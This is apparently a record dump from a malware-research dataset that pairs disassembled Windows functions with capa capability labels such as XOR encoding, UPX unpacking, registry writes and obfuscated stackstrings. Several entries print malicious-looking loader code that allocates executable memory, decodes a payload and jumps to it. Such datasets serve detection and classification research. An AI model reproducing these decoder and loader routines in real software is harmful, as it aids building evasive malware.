joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10031820
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1004f37c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x10031850
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x10031880
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x10031880
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x1003197a
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x100318a9
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x100318dd
push dword [esi + 0x4c]
movsx eax, bl
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x28], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x1003197a
cmp eax, 1
jle 0x1003193b
cmp eax, 3
jne 0x1003197a
push dword [esi + 0x4c]
push dword [ebp - 0x28]
call fcn.100392ea
add esp, 8
or ecx, 0xffffffff
test al, al
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10031959
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1003197a
lea eax, [ebp - 0x28]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x1003197a
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
Function at 0x10036f80
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003ecf8
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1004f37c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x1004f338]
cmp eax, 0xffffffff
jne 0x10036fb6
xor ebx, ebx
jmp 0x10036fbf
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov ebx, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], 0
test ebx, ebx
je 0x10036fff
mov eax, dword [ebx + 0x18]
mov esi, dword [ebx + 0xc]
test eax, eax
jne 0x1003703e
test esi, esi
jne 0x10037042
push 0x10035760
push 0x10050e58
call fcn.100392ea
mov eax, dword [0x1004f338]
add esp, 8
cmp eax, 0xffffffff
je 0x10036fff
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov dword [ebp - 4], 1
test ebx, ebx
je 0x1003702c
or eax, 0xffffffff
lock xadd dword [ebx + 4], eax
jne 0x1003702c
mov eax, dword [ebx]
mov ecx, ebx
push 0
call dword [eax]
push ebx
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x10037084
mov eax, dword [esi + 4]
mov dword [ebx + 0xc], eax
mov ecx, dword [esi]
test ecx, ecx
je 0x1003706d
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esi]
mov ecx, edi
push 0
mov eax, dword [edi]
call dword [eax]
push edi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
push esi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov esi, dword [ebx + 0xc]
test esi, esi
jne 0x10037042
mov eax, dword [ebx + 0x18]
test eax, eax
je 0x10036fd0
nop
mov esi, dword [ebx + 0x14]
mov esi, dword [esi]
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x100370a9
mov edx, dword [esi + 0x1c]
test edx, edx
je 0x100370a9
mov eax, dword [ecx]
push edx
call dword [eax + 4]
push esi
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebx + 0x14]
call fcn.100392ea
mov eax, dword [ebx + 0x18]
test eax, eax
jne 0x10037090
jmp 0x10036fd0

Function at 0x100370d0
Capabilities:
Create thread
Resume thread

Disassembly:
push ebx
push esi
mov esi, ecx
mov edx, dword [esi]
lea eax, [edx + 0x10]
push eax
push 4
push edx
push 0x10037130
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov ebx, eax
add esp, 0x18
test ebx, ebx
jne 0x100370fa
pop esi
xor al, al
pop ebx
ret
mov eax, dword [esi]
push edi
add eax, 4
lock inc dword [eax]
mov edi, dword [esi]
mov eax, dword [edi + 8]
test eax, eax
je 0x10037118
cmp eax, 0xffffffff
je 0x10037118
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov dword [edi + 8], ebx
mov eax, dword [esi]
push dword [eax + 8]
call dword [sym.imp.kernel32.dll_ResumeThread]
pop edi
pop esi
mov al, 1
pop ebx
ret
Function at 0x100392ea
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x100392f9
pop dword [ebp - 0x48]
mov eax, 0xa9c835e0
sub eax, 0x99c4a2e7
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xfed911a7
add dword [ebp - 0x58], 0x4f7933a4
mov dword [ebp - 0x54], 0x2ffc0f0d
add dword [ebp - 0x54], 0x2373d38
mov dword [ebp - 0x50], 0x4441edf4
sub dword [ebp - 0x50], 0xf7f5a9c6
mov dword [ebp - 0x4c], 0xfc845b0d
sub dword [ebp - 0x4c], 0xfc845b0d
lea eax, [ebp - 0x58]
push eax
mov eax, 0x1e3b182b
add eax, 0xf1c8e811
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x38ecf6ff
sub dword [ebp - 0x58], 0xc47a8da9
mov dword [ebp - 0x54], 0x73afba05
sub dword [ebp - 0x54], 0x32435890
mov dword [ebp - 0x50], 0x7255c75f
add dword [ebp - 0x50], 0xf119a50d
mov dword [ebp - 0x4c], 0x9966bbc6
sub dword [ebp - 0x4c], 0x9966bbc6
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x47d13
push 0
call eax
mov ecx, 0x4e03
xor edi, edi
add edi, eax
mov ebx, 0x843bab04
add ebx, 0x8bc9c2fc
add ebx, dword [ebp - 0x48]
mov edx, 0xd4b26003
add edx, 0x3dd2fa40
xor dword [ebp - 0x18], ebx
mov esi, dword [ebx]
mov dword [ebp - 0xc], 0x5a78bcff
add esi, edx
mov dword [ebp - 8], 0xba39ee7e
mov dword [edi], esi
mov dword [ebp - 0x44], 0x7d104e02
add edi, 0x1945e73e
sub edi, 0x1945e73a
add ebx, 0x4b3287e0
add ebx, 0xb4cd7824
loop 0x10039412
add eax, 0x12adf
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xb94341f8
add ecx, 0x56bcbe08
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x7d7ce0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x396000]
push edi
or ebp, 0xffffffff
jmp 0x7d7d02
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x7d7d09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7d7cf8
mov eax, 1
add ebx, ebx
jne 0x7d7d1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x7d7d2c
jne 0x7d7d4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7d7d4b
dec eax
add ebx, ebx
jne 0x7d7d38
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x7d7d10
add ebx, ebx
jne 0x7d7d47
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x7d7d9d
xor ecx, ecx
sub eax, 3
jb 0x7d7d63
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x7d7dd2
sar eax, 1
mov ebp, eax
jmp 0x7d7d6e
add ebx, ebx
jne 0x7d7d6e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7d7d3c
inc ecx
add ebx, ebx
jne 0x7d7d7c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7d7d3c
add ebx, ebx
jne 0x7d7d89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x7d7d7e
jne 0x7d7d9a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x7d7d7e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x7d7dbc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x7d7dae
jmp 0x7d7cfe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x7d7dbc
add edi, ecx
jmp 0x7d7cfe
pop esi
mov edi, esi
mov ecx, 0x3f3a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x7d7dda
cmp byte [edi], 0x14
jne 0x7d7dda
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x7d7ddf
lea edi, [esi + 0x3d4000]
mov eax, dword [edi]
or eax, eax
je 0x7d7e4e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3d83b4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3d847c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x7d7e0c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3d8480]
or eax, eax
je 0x7d7e48
mov dword [ebx], eax
add ebx, 4
jmp 0x7d7e29
call dword [esi + 0x3d8488]
mov ebp, dword [esi + 0x3d8484]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x7d7e82
sub esp, 0xffffff80
jmp 0x48e694
Function at 0x401200
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x10
push esi
lea eax, [esp + 4]
push eax
push 0xf003f
xor esi, esi
push esi
push 0x403008
push 0x80000002
mov dword [esp + 0x24], 4
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], 0x4e31
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401386
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x10]
push edx
push eax
push eax
mov eax, dword [esp + 0x18]
push 0x4021f0
push eax
call edi
test eax, eax
jne 0x401385
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x10]
push edx
push eax
push eax
mov eax, dword [esp + 0x18]
push str.VERSION_Value
push eax
call edi
test eax, eax
jne 0x401308
mov ecx, dword [esp + 0xc]
cmp ecx, dword [esp + 0x10]
je 0x401380
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [esp + 0x14]
push edx
push 4
push eax
mov eax, dword [esp + 0x18]
push str.VERSION_Value
push eax
call esi
call fcn.004010d0
mov eax, str.qa_i4420_fqpn7__k1_14..__kk_21103446_bq43bcobc
lea ecx, [eax + 1]
jmp 0x4012c0
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4012c0
sub eax, ecx
mov ecx, dword [esp + 8]
inc eax
push eax
push str.qa_i4420_fqpn7__k1_14..__kk_21103446_bq43bcobc
push 1
push 0
push str.GATEWAY1_Value
push ecx
call esi
mov eax, str.ff3487rbea4775grsn9_.uvu_a35_7754_bml_22114i81
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4012e8
mov edx, dword [esp + 8]
sub eax, ecx
inc eax
push eax
push str.ff3487rbea4775grsn9_.uvu_a35_7754_bml_22114i81
push 1
push 0
push str.GATEWAY2_Value
push edx
jmp 0x40137e
mov ecx, dword [esp + 8]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [esp + 0x14]
push eax
push 4
push 0
push str.VERSION_Value
push ecx
call esi
call fcn.004010d0
mov eax, str.qa_i4420_fqpn7__k1_14..__kk_21103446_bq43bcobc
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401332
mov edx, dword [esp + 8]
sub eax, ecx
inc eax
push eax
push str.qa_i4420_fqpn7__k1_14..__kk_21103446_bq43bcobc
push 1
push 0
push str.GATEWAY1_Value
push edx
call esi
mov eax, str.ff3487rbea4775grsn9_.uvu_a35_7754_bml_22114i81
lea ecx, [eax + 1]
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401360
sub eax, ecx
inc eax
push eax
mov eax, dword [esp + 0xc]
push str.ff3487rbea4775grsn9_.uvu_a35_7754_bml_22114i81
push 1
push 0
push str.GATEWAY2_Value
push eax
call esi
mov esi, 1
pop edi
mov eax, dword [esp + 4]
test eax, eax
je 0x401395
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x4013a0
Capabilities:
Acquire debug privileges

Disassembly:
push 1
push 0x4021fc
call fcn.00401170
add esp, 8
call fcn.00401200
xor eax, eax
ret 0x10
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.100062eb
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100062eb
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.100062eb
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.100062eb
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.100062eb
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.100062eb
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.100062eb
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.100062eb
push 0xd008
push edi
call fcn.100062eb
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.100062eb
int3

Function at 0x100062eb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x100062fa
pop dword [ebp - 0x30]
mov eax, 0x74063bd0
add eax, 0x9bfa272a
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x379c8
push 0
mov eax, 0xabba794b
add eax, 0x6446c719
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x425b
mov ebx, eax
mov edx, 0x33019e20
add edx, 0xdcffe7e0
add edx, dword [ebp - 0x30]
mov edi, 0x76a4baab
sub edi, 0xd9c145b4
sub dword [ebp - 0x14], 0x24aeac66
mov esi, dword [edx]
add dword [ebp - 0x1c], ebx
xor esi, edi
mov dword [ebx], esi
add dword [ebp - 4], eax
add ebx, 0x63a1a191
add ebx, 0x9c5e5e73
add edx, 4
loop 0x10006353
add eax, 0xee0b8ee2
sub eax, 0xee0a92a3
mov ebx, eax
add eax, 0xb943501c
add eax, 0x46bcafe9
mov ecx, 0x7d21c49c
add ecx, 0x92de3b64
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x1e7a7500
Capabilities:
Compare security identifiers

Disassembly:
mov eax, dword [esp + 4]
cmp dword [eax + 4], 0x1e7ba2c0
je 0x1e7a751c
mov eax, dword [sym.imp.python27.dll__Py_NotImplementedStruct]
inc dword [eax]
mov eax, dword [sym.imp.python27.dll__Py_NotImplementedStruct]
ret 8
mov eax, dword [eax + 8]
mov ecx, dword [ecx + 8]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
mov ecx, dword [esp + 8]
cmp ecx, 2
jne 0x1e7a7541
test eax, eax
je 0x1e7a754a
mov eax, dword [sym.imp.python27.dll__Py_TrueStruct]
inc dword [eax]
ret 8
cmp ecx, 3
jne 0x1e7a7554
test eax, eax
je 0x1e7a7537
mov eax, dword [sym.imp.python27.dll__Py_ZeroStruct]
inc dword [eax]
ret 8
mov eax, dword [sym.imp.python27.dll__Py_NotImplementedStruct]
inc dword [eax]
ret 8

Function at 0x1e7a8650
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.1e7a8261
push eax
push esi
push dword [ebp + 8]
call fcn.1e7a8216
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]

Function at 0x1e7a8670
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.1e7a8261
push eax
push esi
push dword [ebp + 8]
call fcn.1e7a8216
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.1e7a8251
int1

Function at 0x1e7a8700
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16

Function at 0x1e7a8a80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x350], 0x62
mov byte [ebp - 0x34f], 0x40
mov byte [ebp - 0x34e], 0x51
mov byte [ebp - 0x34d], 0x75
mov byte [ebp - 0x34c], 0x57
mov byte [ebp - 0x34b], 0x4a
mov byte [ebp - 0x34a], 0x46
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
Function at 0x1e7a8af0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call fcn.1e7a8261
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1e7a8216
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.1e7a8261
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1e7a8216
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
invalid
invalid

Function at 0x1e7a8f20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov esp, 0x1fffffa
cmp dword [ebp - 0x398], 0
je 0x1e7a8f45
cmp dword [ebp - 0x398], 0
je 0x1e7a910f
cmp dword [ebp + 0xc], 1
invalid
Function at 0x1e7aa2d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push dword [ebp - 0x3a4]
push dword [ebp + 0x14]
call fcn.1e7a8216
add esp, 0xc
mov dword [ebp - 0x37c], eax

Function at 0x1e7aac70
Capabilities:
Allocate thread local storage
Link many functions at runtime

Disassembly:
push esi
push 0x1e7b1a38
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
jne 0x1e7aac97
push str.AdvAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x1e7aad49
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.AddAccessAllowedAce
push esi
call edi
test eax, eax
je 0x1e7aacaf
mov dword [0x1e7ba7d0], eax
push str.AddAccessDeniedAce
push esi
call edi
test eax, eax
je 0x1e7aacc0
mov dword [0x1e7ba7d4], eax
push str.AddAccessAllowedAceEx
push esi
call edi
test eax, eax
je 0x1e7aacd1
mov dword [0x1e7ba7d8], eax
push str.AddMandatoryAce
push esi
call edi
test eax, eax
je 0x1e7aace2
mov dword [0x1e7ba7e0], eax
push str.AddAccessAllowedObjectAce
push esi
call edi
test eax, eax
je 0x1e7aacf3
mov dword [0x1e7ba7e4], eax
push str.AddAccessDeniedAceEx
push esi
call edi
test eax, eax
je 0x1e7aad04
mov dword [0x1e7ba7dc], eax
push str.AddAccessDeniedObjectAce
push esi
call edi
test eax, eax
je 0x1e7aad15
mov dword [0x1e7ba7e8], eax
push str.AddAuditAccessAceEx
push esi
call edi
test eax, eax
je 0x1e7aad26
mov dword [0x1e7ba7ec], eax
push str.AddAuditAccessObjectAce
push esi
call edi
test eax, eax
je 0x1e7aad37
mov dword [0x1e7ba7f0], eax
push str.SetSecurityDescriptorControl
push esi
call edi
pop edi
test eax, eax
je 0x1e7aad49
mov dword [0x1e7ba804], eax
mov eax, dword [esp + 0xc]
sub eax, 0
pop esi
je 0x1e7aad76
sub eax, 1
jne 0x1e7aad8d
push 0x1e7ba81c
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x1e7ba8b8], eax
mov eax, 1
ret 0xc
push 0x1e7ba81c
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov eax, dword [0x1e7ba8b8]
push eax
call dword [sym.imp.KERNEL32.dll_TlsFree]
mov eax, 1
ret 0xc